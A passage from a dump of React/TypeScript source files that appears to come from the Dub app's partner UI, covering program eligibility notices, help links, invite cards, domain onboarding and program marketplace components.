requirements?: EligibilityConditionDB[] | null;\n} = {}) {\n  const { programEnrollment } = useProgramEnrollment();\n  const { partner, loading } = usePartnerProfile();\n\n  const requirements =\n    requirementsProp !== undefined\n      ? requirementsProp\n      : programEnrollment?.program?.applicationRequirements;\n\n  if (!requirements?.length || loading) return null;\n\n  const context = {\n    country: partner?.country,\n    email: partner?.email,\n  };\n\n  const unmet = requirements.filter(\n    (condition) =>\n      !evaluateCondition({\n        condition,\n        context,\n      }),\n  );\n\n  const unmetWithText = unmet.map(formatConditionText).filter(Boolean);\n\n  if (unmetWithText.length === 0) return null;\n\n  return (\n    <div className=\"mt-4 space-y-3 rounded-[10px] border border-blue-200 bg-blue-50 p-4\">\n      <div className=\"flex items-center gap-2 font-semibold text-blue-900\">\n        <Lock className=\"size-4 text-blue-500\" />\n        Program eligibility\n      </div>\n\n      <ul className=\"list-disc space-y-1 pl-5 text-sm text-blue-800\">\n        {unmetWithText.map((text, i) => (\n          <li key={i}>{text}</li>\n        ))}\n      </ul>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-help-links.tsx",
    "content": "\"use client\";\n\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { BookOpen, EnvelopeArrowRight, Page2 } from \"@dub/ui\";\nimport { memo } from \"react\";\n\nexport const ProgramHelpLinks = memo(() => {\n  const { programEnrollment } = useProgramEnrollment();\n\n  if (!programEnrollment?.program) return null;\n\n  const { program } = programEnrollment;\n\n  const supportItems = [\n    ...(program.supportEmail\n      ? [\n          {\n            icon: EnvelopeArrowRight,\n            label: \"Email support\",\n            href: `mailto:${program.supportEmail}`,\n          },\n        ]\n      : []),\n    ...(program.helpUrl\n      ? [\n          {\n            icon: BookOpen,\n            label: \"Help center\",\n            href: program.helpUrl,\n          },\n        ]\n      : []),\n    ...(program.termsUrl\n      ? [\n          {\n            icon: Page2,\n            label: \"Terms of service\",\n            href: program.termsUrl,\n          },\n        ]\n      : []),\n  ];\n\n  if (supportItems.length === 0) return null;\n\n  return (\n    <div className=\"grid grid-cols-1\">\n      {supportItems.map(({ icon: Icon, label, href }) => (\n        <a\n          key={label}\n          href={href}\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          className=\"text-content-default hover:text-content-emphasis hover:bg-bg-inverted/5 active:bg-bg-inverted/10 flex w-full items-center gap-2 rounded-md px-2.5 py-1.5 text-sm transition-all\"\n        >\n          <Icon className=\"size-4\" />\n          {label}\n        </a>\n      ))}\n    </div>\n  );\n});\n"
  },
  {
    "path": "apps/web/ui/partners/program-invite-card.tsx",
    "content": "import { acceptProgramInviteAction } from \"@/lib/actions/partners/accept-program-invite\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { ProgramEnrollmentProps } from \"@/lib/types\";\nimport { ProgramRewardDescription } from \"@/ui/partners/program-reward-description\";\nimport {\n  BlurImage,\n  Button,\n  buttonVariants,\n  Envelope,\n  StatusBadge,\n} from \"@dub/ui\";\nimport { formatDateSmart, OG_AVATAR_URL } from \"@dub/utils\";\nimport { cn } from \"@dub/utils/src\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport { toast } from \"sonner\";\n\nexport function ProgramInviteCard({\n  programEnrollment,\n}: {\n  programEnrollment: ProgramEnrollmentProps;\n}) {\n  const router = useRouter();\n  const { program } = programEnrollment;\n\n  const { executeAsync, isPending } = useAction(acceptProgramInviteAction, {\n    onSuccess: async () => {\n      await mutatePrefix(\"/api/partner-profile/programs\");\n      toast.success(\"Program invite accepted!\");\n      router.push(`/programs/${program.slug}`);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const reward = programEnrollment.rewards?.[0];\n  const discount = programEnrollment.discount;\n\n  return (\n    <div className=\"hover:drop-shadow-card-hover relative flex flex-col rounded-xl border border-neutral-200 bg-neutral-50 p-5 transition-[filter]\">\n      <div className=\"flex justify-between gap-2\">\n        <BlurImage\n          width={64}\n          height={64}\n          src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n          alt={program.name}\n          className=\"size-8 rounded-full\"\n        />\n        <StatusBadge variant=\"new\" icon={Envelope} className=\"py-0.5\">\n          Invited {formatDateSmart(programEnrollment.createdAt)}\n        </StatusBadge>\n      </div>\n\n      <p className=\"mt-3 font-medium text-neutral-900\">{program.name}</p>\n\n      <div className=\"my-2 flex flex-col gap-0.5 text-balance text-xs text-neutral-600\">\n        <div>\n          <ProgramRewardDescription\n            reward={reward}\n            amountClassName=\"font-light\"\n            periodClassName=\"font-light\"\n          />\n        </div>\n\n        <div>\n          <ProgramRewardDescription\n            discount={discount}\n            amountClassName=\"font-light\"\n            periodClassName=\"font-light\"\n          />\n        </div>\n      </div>\n\n      <div className=\"mt-2 flex grow flex-col justify-end\">\n        <div className=\"grid grid-cols-2 gap-2\">\n          <Link\n            className={cn(\n              \"flex h-8 items-center justify-center whitespace-nowrap rounded-md border px-2 text-sm\",\n              buttonVariants({ variant: \"secondary\" }),\n            )}\n            href={`/programs/${program.slug}/invite`}\n          >\n            Learn more\n          </Link>\n          <Button\n            text=\"Accept invite\"\n            className=\"h-8\"\n            loading={isPending}\n            onClick={async () =>\n              await executeAsync({\n                programId: programEnrollment.programId,\n              })\n            }\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-link-configuration.tsx",
    "content": "import { getLinkStructureOptions } from \"@/lib/partners/get-link-structure-options\";\nimport useDomains from \"@/lib/swr/use-domains\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DomainVerificationStatusProps } from \"@/lib/types\";\nimport DomainConfiguration from \"@/ui/domains/domain-configuration\";\nimport { DomainSelector } from \"@/ui/domains/domain-selector\";\nimport { AnimatedSizeContainer, InfoTooltip, Input, LinkLogo } from \"@dub/ui\";\nimport { ArrowTurnRight2, ChevronRight, LoadingSpinner } from \"@dub/ui/icons\";\nimport { cn, fetcher, getApexDomain, getPrettyUrl } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useMemo, useState } from \"react\";\nimport useSWRImmutable from \"swr/immutable\";\nimport { useAddEditDomainModal } from \"../modals/add-edit-domain-modal\";\nimport { useRegisterDomainModal } from \"../modals/register-domain-modal\";\n\ntype DomainProps = {\n  domain: string | null;\n  onDomainChange: (domain: string) => void;\n};\n\ntype ProgramLinkConfigurationProps = {\n  url: string | null;\n  onUrlChange: (url: string) => void;\n  hideLinkPreview?: boolean;\n} & DomainProps;\n\nexport function ProgramLinkConfiguration({\n  domain,\n  url,\n  onDomainChange,\n  onUrlChange,\n  hideLinkPreview,\n}: ProgramLinkConfigurationProps) {\n  const linkStructureOptions = getLinkStructureOptions({\n    domain,\n    url,\n  });\n\n  return (\n    <div className=\"space-y-6\">\n      <DomainOnboarding domain={domain} onDomainChange={onDomainChange} />\n\n      <div className=\"space-y-2\">\n        <label className=\"block text-sm font-medium text-neutral-800\">\n          Website URL\n        </label>\n        <Input\n          value={url || \"\"}\n          onChange={(e) => onUrlChange(e.target.value)}\n          type=\"url\"\n          placeholder=\"https://dub.co\"\n          className=\"max-w-full\"\n        />\n        <p className=\"text-xs font-normal text-neutral-500\">\n          Where people will be redirected to when they click on your partners'\n          referral links\n        </p>\n      </div>\n\n      <AnimatePresence>\n        {domain && !hideLinkPreview && (\n          <motion.div\n            key=\"referral-link-preview\"\n            initial={{ height: 0, opacity: 0 }}\n            animate={{ height: \"auto\", opacity: 1 }}\n            exit={{ height: 0, opacity: 0 }}\n            transition={{ duration: 0.2 }}\n            className=\"space-y-2\"\n          >\n            <h2 className=\"text-base font-medium text-neutral-900\">\n              Referral link preview\n            </h2>\n\n            <div className=\"rounded-2xl bg-neutral-50 p-2\">\n              <div className=\"flex items-center gap-3 rounded-xl border border-neutral-200 bg-white p-4\">\n                <div className=\"relative flex shrink-0 items-center\">\n                  <div className=\"absolute inset-0 h-8 w-8 rounded-full border border-neutral-200 sm:h-10 sm:w-10\">\n                    <div className=\"h-full w-full rounded-full border border-white bg-gradient-to-t from-neutral-100\" />\n                  </div>\n                  <div className=\"relative z-10 p-2\">\n                    {url ? (\n                      <LinkLogo\n                        apexDomain={getApexDomain(url)}\n                        className=\"size-4 sm:size-6\"\n                        imageProps={{\n                          loading: \"lazy\",\n                        }}\n                      />\n                    ) : (\n                      <div className=\"size-4 rounded-full bg-neutral-200 sm:size-6\" />\n                    )}\n                  </div>\n                </div>\n\n                <div className=\"min-w-0 flex-1 space-y-0.5\">\n                  <div className=\"truncate text-sm font-medium text-neutral-700\">\n                    {linkStructureOptions?.[0].example}\n                  </div>\n\n                  <div className=\"flex min-h-[20px] items-center gap-1 text-sm text-neutral-500\">\n                    {url ? (\n                      <>\n                        <ArrowTurnRight2 className=\"h-3 w-3 shrink-0 text-neutral-400\" />\n                        <span className=\"truncate\">{getPrettyUrl(url)}</span>\n                      </>\n                    ) : (\n                      <div className=\"h-3 w-1/2 rounded-md bg-neutral-200\" />\n                    )}\n                  </div>\n                </div>\n              </div>\n            </div>\n          </motion.div>\n        )}\n      </AnimatePresence>\n    </div>\n  );\n}\n\nfunction DomainOnboarding({ domain, onDomainChange }: DomainProps) {\n  const { allWorkspaceDomains: domains, loading: isLoadingDomains } =\n    useDomains();\n\n  const [state, setState] = useState<\"idle\" | \"select\">(\n    domain ? \"select\" : \"idle\",\n  );\n\n  const { RegisterDomainModal, setShowRegisterDomainModal } =\n    useRegisterDomainModal({\n      onSuccess: (domain) => {\n        onDomainChange(domain);\n        setState(\"select\");\n      },\n      setRegisteredParam: false,\n    });\n\n  const { AddEditDomainModal, setShowAddEditDomainModal } =\n    useAddEditDomainModal({\n      onSuccess: (domain) => {\n        onDomainChange(domain.slug);\n        setState(\"select\");\n      },\n    });\n\n  const idleOptions = useMemo(\n    () => [\n      {\n        icon: \"https://assets.dub.co/icons/crown.webp\",\n        title: \"Claim a free .link domain\",\n        badge: \"No setup\",\n        badgeClassName: \"bg-green-100 text-green-800\",\n        description: \"Free for one year with your paid account.\",\n        onSelect: () => setShowRegisterDomainModal(true),\n      },\n      {\n        icon: \"https://assets.dub.co/icons/link.webp\",\n        title: \"Connect a domain you own\",\n        badge: \"DNS setup required\",\n        badgeClassName: \"bg-bg-inverted/10 text-neutral-800\",\n        description:\n          \"Dedicate a domain exclusively for your short links and program.\",\n        onSelect: () => {\n          if (!domains?.length) setShowAddEditDomainModal(true);\n          else setState(\"select\");\n        },\n        loading: isLoadingDomains,\n      },\n    ],\n    [\n      domains,\n      isLoadingDomains,\n      setShowAddEditDomainModal,\n      setShowRegisterDomainModal,\n    ],\n  );\n\n  return (\n    <>\n      <RegisterDomainModal />\n      <AddEditDomainModal />\n      <div>\n        <div className=\"mb-2 flex items-center justify-between\">\n          <div className=\"flex items-center gap-x-2\">\n            <label className=\"block text-sm font-medium text-neutral-800\">\n              Program domain\n            </label>\n            <InfoTooltip content=\"A connected domain or sub-domain is required to create a program. [Learn more](https://dub.co/help/article/choosing-a-custom-domain)\" />\n          </div>\n          {state === \"select\" && (\n            <button\n              type=\"button\"\n              onClick={() => setState(\"idle\")}\n              className=\"text-xs font-normal text-neutral-500 underline underline-offset-2 transition-colors hover:text-neutral-700\"\n            >\n              Select a different option\n            </button>\n          )}\n        </div>\n        <AnimatedSizeContainer\n          height\n          transition={{ ease: \"easeOut\", duration: 0.1 }}\n          className=\"-m-1\"\n        >\n          <div className=\"p-1\">\n            <AnimatePresence initial={false} mode=\"popLayout\">\n              {state === \"idle\" && (\n                <motion.div\n                  key=\"idle\"\n                  initial={{ opacity: 0, y: -10 }}\n                  animate={{ opacity: 1, y: 0 }}\n                  exit={{ opacity: 0, y: -10 }}\n                  transition={{ duration: 0.2 }}\n                >\n                  <div className=\"flex flex-col gap-2\">\n                    {idleOptions.map((option) => (\n                      <button\n                        key={option.title}\n                        type=\"button\"\n                        className={cn(\n                          \"bg-bg-default border-border-subtle group flex items-center justify-between gap-3 rounded-xl border p-1.5 pr-4\",\n                          \"hover:bg-bg-inverted/[0.03] active:bg-bg-inverted/5\",\n                          \"transition-opacity disabled:cursor-not-allowed disabled:opacity-60\",\n                        )}\n                        onClick={() => option.onSelect()}\n                        disabled={option.loading}\n                      >\n                        <div className=\"flex items-center gap-3\">\n                          <div className=\"bg-bg-inverted/5 flex size-10 items-center justify-center rounded-lg\">\n                            <img\n                              src={option.icon}\n                              alt=\"\"\n                              className=\"size-7 object-contain transition-transform ease-out group-hover:scale-105\"\n                            />\n                          </div>\n                          <div className=\"flex flex-col\">\n                            <div className=\"flex items-center gap-1\">\n                              <span className=\"text-content-emphasis text-xs font-semibold\">\n                                {option.title}\n                              </span>\n                              <div\n                                className={cn(\n                                  \"rounded-md px-1 text-xs font-semibold\",\n                                  option.badgeClassName,\n                                )}\n                              >\n                                {option.badge}\n                              </div>\n                            </div>\n                            <p className=\"text-content-subtle text-xs\">\n                              {option.description}\n                            </p>\n                          </div>\n                        </div>\n\n                        {option.loading ? (\n                          <LoadingSpinner className=\"size-3 shrink-0\" />\n                        ) : (\n                          <ChevronRight className=\"text-content-muted size-3 shrink-0 transition-transform ease-out group-hover:translate-x-0.5\" />\n                        )}\n                      </button>\n                    ))}\n                  </div>\n\n                  <p className=\"mt-2 text-xs font-normal text-neutral-500\">\n                    This domain will be used for your program’s referral links\n                  </p>\n                </motion.div>\n              )}\n\n              {state === \"select\" && (\n                <motion.div\n                  key=\"select\"\n                  initial={{ opacity: 0, y: 10 }}\n                  animate={{ opacity: 1, y: 0 }}\n                  exit={{ opacity: 0, y: 10 }}\n                  transition={{ duration: 0.2 }}\n                >\n                  <DomainOnboardingSelection\n                    domain={domain}\n                    onDomainChange={onDomainChange}\n                    onBack={() => setState(\"idle\")}\n                  />\n                </motion.div>\n              )}\n            </AnimatePresence>\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n    </>\n  );\n}\n\nfunction DomainOnboardingSelection({\n  domain,\n  onDomainChange,\n  onBack,\n}: DomainProps & { onBack: () => void }) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data: verificationData } = useSWRImmutable<{\n    status: DomainVerificationStatusProps;\n    response: any;\n  }>(\n    workspaceId && domain\n      ? `/api/domains/${domain}/verify?workspaceId=${workspaceId}`\n      : null,\n    fetcher,\n  );\n\n  return (\n    <div>\n      <DomainSelector\n        selectedDomain={domain || \"\"}\n        setSelectedDomain={onDomainChange}\n      />\n\n      <p className=\"mt-2 text-xs font-normal text-neutral-500\">\n        This domain will be used for your program’s referral links\n      </p>\n\n      <AnimatePresence>\n        {domain &&\n          verificationData &&\n          verificationData.status !== \"Valid Configuration\" && (\n            <motion.div\n              key=\"domain-verification\"\n              initial={{ height: 0, opacity: 0 }}\n              animate={{ height: \"auto\", opacity: 1 }}\n              exit={{ height: 0, opacity: 0 }}\n              transition={{ duration: 0.2 }}\n              className=\"mt-6 overflow-hidden rounded-md border border-neutral-200 bg-neutral-50 px-5 pb-5\"\n            >\n              <DomainConfiguration data={verificationData} />\n            </motion.div>\n          )}\n      </AnimatePresence>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-marketplace/program-category.tsx",
    "content": "import { PROGRAM_CATEGORIES_MAP } from \"@/lib/network/program-categories\";\nimport { Category } from \"@dub/prisma/client\";\nimport { CircleInfo } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport const ProgramCategory = ({\n  category,\n  onClick,\n  className,\n}: {\n  category: Category;\n  onClick?: () => void;\n  className?: string;\n}) => {\n  const categoryData = PROGRAM_CATEGORIES_MAP[category];\n  const { icon: Icon, label } = categoryData ?? {\n    icon: CircleInfo,\n    label: category.replaceAll(\"_\", \" \"),\n  };\n\n  const As = onClick ? \"button\" : \"div\";\n\n  return (\n    <As\n      {...(onClick && {\n        type: \"button\",\n        onClick: (e) => {\n          e.preventDefault();\n          e.stopPropagation();\n          onClick?.();\n        },\n      })}\n      className={cn(\n        \"text-content-default -ml-1 flex h-6 min-w-0 items-center gap-1 rounded-md px-1\",\n        onClick && \"hover:bg-bg-subtle active:bg-bg-emphasis\",\n        className,\n      )}\n    >\n      <Icon className=\"size-4\" />\n      <span className=\"min-w-0 truncate text-sm font-medium\">{label}</span>\n    </As>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/program-marketplace/program-marketplace-banner.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { useProgramMarketplacePromo } from \"@/ui/partners/program-marketplace/use-program-marketplace-promo\";\nimport { X } from \"@/ui/shared/icons\";\nimport { Button, Grid, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { ProgramMarketplaceLogos } from \"./program-marketplace-logos\";\n\nexport function ProgramMarketplaceBanner() {\n  const { partner } = usePartnerProfile();\n  const { status, setStatus } = useProgramMarketplacePromo();\n\n  return (\n    <AnimatePresence>\n      {partner && status === \"banner\" && (\n        <motion.div\n          initial={{ opacity: 0, height: 0 }}\n          animate={{ opacity: 1, height: \"auto\" }}\n          exit={{ opacity: 0, height: 0 }}\n          transition={{ duration: 0.2 }}\n          className=\"overflow-hidden\"\n        >\n          <div\n            className={cn(\n              \"border-border-subtle relative mb-4 gap-x-2 overflow-hidden rounded-xl border bg-white sm:h-12 lg:mb-6\",\n            )}\n          >\n            <div className=\"absolute inset-0\">\n              <div\n                className={cn(\n                  \"absolute inset-0 opacity-10 blur-xl sm:-scale-x-100 sm:opacity-20\",\n                  \"[background-image:radial-gradient(140%_146%_at_93%_14%,#72FE7D,rgba(114,254,125,0)_50%),radial-gradient(126%_82%_at_56%_100%,#FD3A4E,rgba(253,58,78,0)_50%),radial-gradient(131%_124%_at_11%_35%,#855AFC,rgba(133,90,252,0)_50%),radial-gradient(117%_77%_at_100%_100%,#E4C795,rgba(228,199,149,0)_50%),radial-gradient(86%_74%_at_40%_59%,#3A8BFD,rgba(58,139,253,0)_50%),radial-gradient(115%_96%_at_42%_69%,#EEA5BA,rgba(238,165,186,0)_50%)]\",\n                )}\n              />\n              <Grid\n                cellSize={32}\n                strokeWidth={2}\n                patternOffset={[-8, -12]}\n                className=\"text-border-subtle/40 [mask-image:linear-gradient(90deg,black_50%,#0003_100%)]\"\n              />\n            </div>\n\n            <div className=\"relative flex h-full flex-col justify-between sm:flex-row\">\n              <div className=\"flex h-full min-w-0 flex-col gap-x-2 sm:flex-row sm:items-center\">\n                <div className=\"h-full shrink-0 overflow-hidden p-3 sm:p-0\">\n                  <div className=\"relative h-24 w-40 sm:h-full sm:w-24\">\n                    <div className=\"absolute left-2 right-0 top-1/2 h-full -translate-y-1/2\">\n                      <ProgramMarketplaceLogos className=\"[--logo-size:32px] sm:[--logo-size:18px]\" />\n                    </div>\n                  </div>\n                </div>\n\n                <p\n                  className=\"text-content-subtle flex min-w-0 flex-col px-3 text-base sm:block sm:truncate sm:px-0 sm:text-sm xl:text-base\"\n                  title=\"Program Marketplace is here. Discover and apply to more programs on Dub.\"\n                >\n                  <span className=\"text-content-emphasis font-semibold\">\n                    Program Marketplace is here.\n                  </span>{\" \"}\n                  <span className=\"font-medium\">\n                    Discover and apply to more programs on Dub.\n                  </span>\n                </p>\n              </div>\n\n              <div className=\"flex items-center gap-2 p-3 sm:px-2 sm:py-0\">\n                <Link\n                  href=\"/programs/marketplace\"\n                  className={cn(\n                    buttonVariants({ variant: \"primary\" }),\n                    \"flex h-8 w-fit items-center justify-center whitespace-nowrap rounded-lg border px-3 text-sm\",\n                  )}\n                >\n                  View the marketplace\n                </Link>\n\n                {/* > mobile close button */}\n                <Button\n                  variant=\"outline\"\n                  icon={<X className=\"size-4\" />}\n                  className=\"hidden size-8 rounded-lg bg-black/5 p-0 hover:bg-black/10 sm:flex\"\n                  onClick={() => setStatus(\"card\")}\n                />\n              </div>\n            </div>\n\n            {/* Mobile close button */}\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-4\" />}\n              className=\"absolute right-2 top-2 size-8 rounded-lg bg-black/5 p-0 hover:bg-black/10 sm:hidden\"\n              onClick={() => setStatus(\"card\")}\n            />\n          </div>\n        </motion.div>\n      )}\n    </AnimatePresence>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-marketplace/program-marketplace-card.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { useProgramMarketplacePromo } from \"@/ui/partners/program-marketplace/use-program-marketplace-promo\";\nimport { Grid, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\nimport { ProgramMarketplaceLogos } from \"./program-marketplace-logos\";\n\nexport function ProgramMarketplaceCard() {\n  const pathname = usePathname();\n\n  const { partner } = usePartnerProfile();\n\n  const { status } = useProgramMarketplacePromo();\n\n  if (!partner || status !== \"card\") return null;\n\n  return (\n    <AnimatePresence>\n      {!pathname.endsWith(\"/programs/marketplace\") && (\n        <motion.div\n          initial={{ opacity: 0, y: 10 }}\n          animate={{ opacity: 1, y: 0 }}\n          exit={{ opacity: 0, y: 10 }}\n          transition={{ duration: 0.2 }}\n          className={cn(\n            \"border-border-subtle relative m-3 mt-8 select-none gap-2 overflow-hidden rounded-lg border bg-white\",\n          )}\n        >\n          <div className=\"absolute inset-0 [background-image:radial-gradient(200%_150%_at_100%_0%,#855AFC22,transparent_50%)]\">\n            <Grid\n              cellSize={32}\n              strokeWidth={2}\n              patternOffset={[-8, -12]}\n              className=\"text-border-subtle/40 [mask-image:linear-gradient(45deg,black_50%,#0003_100%)]\"\n            />\n          </div>\n\n          <div className=\"relative flex flex-col gap-3 p-3\">\n            <div className=\"h-24 w-40\">\n              <ProgramMarketplaceLogos />\n            </div>\n\n            <div className=\"flex flex-col\">\n              <span className=\"text-content-emphasis line-clamp-1 text-sm font-semibold\">\n                Program Marketplace\n              </span>\n              <p className=\"text-content-subtle line-clamp-2 text-xs\">\n                Discover and apply to more programs on Dub.\n              </p>\n            </div>\n\n            <Link\n              href=\"/programs/marketplace\"\n              className={cn(\n                buttonVariants({ variant: \"primary\" }),\n                \"flex h-6 w-fit items-center justify-center whitespace-nowrap rounded-md border px-1.5 text-xs\",\n              )}\n            >\n              View the marketplace\n            </Link>\n          </div>\n        </motion.div>\n      )}\n    </AnimatePresence>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-marketplace/program-marketplace-logos.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\n// x, y, rotation, size, z (/shadow)\nconst LOGOS = [\n  // Perplexity\n  { x: 0, y: 16, r: 22, s: 1 },\n  // Dub\n  { x: 23, y: 0, r: -7, s: 0.7 },\n  // Tella\n  { x: 44, y: 24, r: 13, s: 0.8 },\n  // Buffer\n  { x: 62, y: 0, r: -49, s: 0.8 },\n  // Superhuman\n  { x: 82, y: 28, r: -26, s: 0.75 },\n  // Framer\n  { x: 12, y: 50, r: -11, s: 0.75 },\n  // Polymarket\n  { x: 26, y: 34, r: -10, s: 0.9, z: 1 },\n  // Fillout\n  { x: 40, y: 48, r: -11, s: 0.75 },\n  // Copper\n  { x: 60, y: 54, r: -18, s: 0.9 },\n  // Firecrawl\n  { x: 78, y: 50, r: -37, s: 0.75, z: 1 },\n  // Wispr Flow\n  { x: 0, y: 72, r: 15, s: 0.8, z: 1 },\n  // Granola\n  { x: 26, y: 70, r: 4, s: 0.8 },\n];\nexport const PROGRAM_MARKETPLACE_LOGO_COUNT = LOGOS.length;\n\nexport function ProgramMarketplaceLogos({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        \"relative z-0 flex size-full flex-wrap gap-2 [--logo-size:32px]\",\n        className,\n      )}\n    >\n      {LOGOS.map(({ x, y, r, s, z }, index) => {\n        return (\n          <div\n            key={index}\n            className={cn(\n              \"animate-float absolute\",\n              index % 2 === 0 && \"[animation-direction:reverse]\",\n            )}\n            style={{\n              left: `${x}%`,\n              top: `${y}%`,\n              animationDelay: `-${index * 0.1}s`,\n            }}\n          >\n            <div\n              className={cn(z && \"drop-shadow-sm\")}\n              style={{\n                transform: `rotate(${r}deg)`,\n                width: `calc(var(--logo-size, 32px) * ${s})`,\n                height: `calc(var(--logo-size, 32px) * ${s})`,\n                zIndex: z,\n                backgroundImage:\n                  \"url(https://assets.dub.co/misc/program-marketplace-logos.png)\",\n                backgroundSize: `${PROGRAM_MARKETPLACE_LOGO_COUNT * 100}%`,\n                backgroundPositionX:\n                  (PROGRAM_MARKETPLACE_LOGO_COUNT -\n                    (index % PROGRAM_MARKETPLACE_LOGO_COUNT)) *\n                    100 +\n                  \"%\",\n              }}\n            />\n          </div>\n        );\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-marketplace/program-reward-icon.tsx",
    "content": "import { Icon } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport * as HoverCard from \"@radix-ui/react-hover-card\";\n\nexport const ProgramRewardIcon = ({\n  icon: Icon,\n  description,\n  onClick,\n  className,\n}: {\n  icon: Icon;\n  description: string;\n  onClick?: () => void;\n  className?: string;\n}) => {\n  const As = onClick ? \"button\" : \"div\";\n\n  return (\n    <HoverCard.Root openDelay={100}>\n      <HoverCard.Portal>\n        <HoverCard.Content\n          side=\"bottom\"\n          sideOffset={8}\n          className=\"animate-slide-up-fade z-[99] flex items-center gap-2 overflow-hidden rounded-xl border border-neutral-200 bg-white p-2 text-xs text-neutral-700 shadow-sm\"\n        >\n          <Icon className=\"text-content-default size-4\" />\n          <span>{description}</span>\n        </HoverCard.Content>\n      </HoverCard.Portal>\n      <HoverCard.Trigger>\n        <As\n          {...(onClick && {\n            type: \"button\",\n            onClick: (e) => {\n              e.preventDefault();\n              e.stopPropagation();\n              onClick?.();\n            },\n          })}\n          className={cn(\n            \"text-content-default flex size-6 items-center justify-center rounded-md\",\n            onClick && \"hover:bg-bg-subtle active:bg-bg-emphasis\",\n            className,\n          )}\n        >\n          <Icon className=\"size-4\" />\n        </As>\n      </HoverCard.Trigger>\n    </HoverCard.Root>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/partners/program-marketplace/program-rewards-display.tsx",
    "content": "import { DiscountProps, RewardProps } from \"@/lib/types\";\nimport { REWARD_EVENTS } from \"@/ui/partners/constants\";\nimport { formatDiscountDescription } from \"@/ui/partners/format-discount-description\";\nimport { formatRewardDescription } from \"@/ui/partners/format-reward-description\";\nimport { Gift, Icon } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport * as HoverCard from \"@radix-ui/react-hover-card\";\nimport { ProgramRewardIcon } from \"./program-reward-icon\";\n\ntype RewardItem = {\n  id: string;\n  icon: Icon;\n  description: string;\n  onClick?: () => void;\n};\n\ninterface ProgramRewardsDisplayProps {\n  rewards?: RewardProps[] | null;\n  discount?: DiscountProps | null;\n  isDarkImage?: boolean;\n  className?: string;\n  onRewardClick?: (reward: RewardProps) => void;\n  onDiscountClick?: (discount: DiscountProps) => void;\n  iconClassName?: string;\n  descriptionClassName?: string;\n}\n\nexport function ProgramRewardsDisplay({\n  rewards,\n  discount,\n  isDarkImage = false,\n  className,\n  onRewardClick,\n  onDiscountClick,\n  iconClassName,\n  descriptionClassName,\n}: ProgramRewardsDisplayProps) {\n  // Concatenate rewards and discount into a single array\n  const items: RewardItem[] = [];\n\n  // Add rewards\n  if (rewards) {\n    rewards.forEach((reward) => {\n      items.push({\n        id: reward.id,\n        icon: REWARD_EVENTS[reward.event].icon,\n        description: formatRewardDescription(reward),\n        onClick: onRewardClick ? () => onRewardClick(reward) : undefined,\n      });\n    });\n  }\n\n  // Add discount if present\n  if (discount) {\n    items.push({\n      id: \"discount\",\n      icon: Gift,\n      description: formatDiscountDescription(discount),\n      onClick: onDiscountClick ? () => onDiscountClick(discount) : undefined,\n    });\n  }\n\n  // shouldn't happen, but just in case\n  if (items.length === 0) return null;\n\n  // If there's only one item, show the full description\n  if (items.length === 1) {\n    const item = items[0];\n    const As = item.onClick ? \"button\" : \"div\";\n    return (\n      <HoverCard.Root openDelay={100}>\n        <HoverCard.Portal>\n          <HoverCard.Content\n            side=\"bottom\"\n            sideOffset={8}\n            className=\"animate-slide-up-fade z-[99] flex items-center gap-2 overflow-hidden rounded-xl border border-neutral-200 bg-white p-2 text-xs text-neutral-700 shadow-sm\"\n          >\n            <item.icon className=\"text-content-default size-4\" />\n            <span>{item.description}</span>\n          </HoverCard.Content>\n        </HoverCard.Portal>\n        <HoverCard.Trigger>\n          <As\n            {...(item.onClick && {\n              type: \"button\",\n              onClick: (e) => {\n                e.preventDefault();\n                e.stopPropagation();\n                item.onClick?.();\n              },\n            })}\n            className={cn(\n              \"-ml-1 flex items-center gap-1 pr-1\",\n              item.onClick &&\n                \"hover:bg-bg-subtle active:bg-bg-emphasis rounded-md transition-colors\",\n              className,\n            )}\n          >\n            <div\n              className={cn(\n                \"text-content-default flex size-6 items-center justify-center rounded-md\",\n                isDarkImage && \"text-content-inverted\",\n              )}\n            >\n              <item.icon className=\"size-4\" />\n            </div>\n            <span\n              className={cn(\n                \"text-content-default max-w-[160px] truncate text-sm font-medium\",\n                isDarkImage && \"text-content-inverted\",\n                descriptionClassName,\n              )}\n            >\n              {item.description}\n            </span>\n          </As>\n        </HoverCard.Trigger>\n      </HoverCard.Root>\n    );\n  }\n\n  // If there are multiple items, show icons with tooltips\n  return (\n    <div className={cn(\"-ml-1 flex items-center gap-1.5\", className)}>\n      {items.map((item) => (\n        <ProgramRewardIcon\n          key={item.id}\n          